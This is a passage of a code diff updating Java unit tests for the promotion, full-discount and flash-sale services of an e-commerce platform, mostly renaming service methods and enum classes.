promotionGoods.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name());
promotionGoods.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus());
promotionGoodsLis.add(promotionGoods);
fullDiscountVO.setPromotionGoodsList(promotionGoodsLis);
Assertions.assertNotNull(fullDiscountService.addFullDiscount(fullDiscountVO));
Assertions.assertTrue(fullDiscountService.savePromotions(fullDiscountVO));
}
@Test
@@ -82,12 +79,9 @@ class FullDiscountTest {
pageVo.setSort("startTime");
pageVo.setOrder("asc");
IPage<FullDiscountVO> fullDiscountByPageFromMongo = fullDiscountService.getFullDiscountByPageFromMongo(new FullDiscountSearchParams(), null);
IPage<FullDiscount> fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
Assertions.assertNotNull(fullDiscountByPageFromMongo);
FullDiscount fullDiscount = JSONUtil.toBean(JSONUtil.parseObj(fullDiscountByPageFromMongo.getPages()), FullDiscount.class);
System.out.println(fullDiscount);
// fullDiscountByPageFromMongo.forEach(System.out::println);
}
@Test
@@ -100,7 +94,6 @@ class FullDiscountTest {
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMoney(100D);
fullDiscountVO.setFullMinus(80D);
fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
@@ -111,7 +104,6 @@ class FullDiscountTest {
List<PromotionGoods> promotionGoodsLis = new ArrayList<>();
PromotionGoods promotionGoods = new PromotionGoods();
promotionGoods.setSkuId("134");
promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name());
promotionGoods.setPrice(18000D);
promotionGoods.setStartTime(fullDiscountVO.getStartTime());
promotionGoods.setEndTime(fullDiscountVO.getEndTime());
@@ -124,12 +116,12 @@ class FullDiscountTest {
promotionGoods.setStoreId("132");
promotionGoodsLis.add(promotionGoods);
fullDiscountVO.setPromotionGoodsList(promotionGoodsLis);
Assertions.assertNotNull(fullDiscountService.modifyFullDiscount(fullDiscountVO));
Assertions.assertTrue(fullDiscountService.updatePromotions(fullDiscountVO));
}
@Test
void delete() {
Assertions.assertTrue(fullDiscountService.deleteFullDiscount("1325995092947525632"));
Assertions.assertTrue(fullDiscountService.removePromotions(Collections.singletonList("1325995092947525632")));
}

21
manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java
View File

@@ -1,15 +1,8 @@
package cn.lili.test.promotion;
import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dto.BasePromotion;
import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
@@ -37,20 +30,10 @@ class PromotionPriceTest {
void testSeckillPrice() {
Map<String, Object> currentPromotion = promotionService.getCurrentPromotion();
for (Map.Entry<String, Object> entry : currentPromotion.entrySet()) {
BasePromotion promotion = (BasePromotion) entry.getValue();
BasePromotions promotion = (BasePromotions) entry.getValue();
System.out.println(entry.getKey() + "-" + promotion.getId());
}
Assertions.assertTrue(true);
}
@Test
void testSeckillPrice1() {
IPage<PromotionGoodsDTO> promotionGoods = promotionGoodsServiceService.getCurrentPromotionGoods(PromotionTypeEnum.FULL_DISCOUNT.name(), new PageVO());
ResultMessage<IPage<PromotionGoodsDTO>> data = ResultUtil.data(promotionGoods);
String s = JSONUtil.toJsonStr(data);
System.out.println(s);
Assertions.assertTrue(true);
}
}

6
manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java
View File

@@ -1,7 +1,7 @@
package cn.lili.test.promotion;
import cn.lili.modules.member.service.MemberService;
import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum;
import cn.lili.modules.promotion.entity.vos.SeckillApplyVO;
import cn.lili.modules.promotion.service.SeckillApplyService;
import cn.lili.modules.promotion.service.SeckillService;
@@ -60,7 +60,7 @@ class SeckillTest {
seckillApplyVO.setSkuId("1387977574860193792");
seckillApplyVO.setOriginalPrice(4000D);
seckillApplyVO.setPrice(3600D);
seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name());
seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name());
seckillApplyVO.setQuantity(1);
seckillApplyVO.setSalesNum(0);
seckillApplyVO.setSeckillId("10000");
@@ -73,7 +73,7 @@ class SeckillTest {
seckillApplyVO.setSkuId("1387977574864388096");
seckillApplyVO.setOriginalPrice(4000D);
seckillApplyVO.setPrice(3600D);
seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name());
seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name());
seckillApplyVO.setQuantity(1);
seckillApplyVO.setSalesNum(0);
seckillApplyVO.setSeckillId("10000");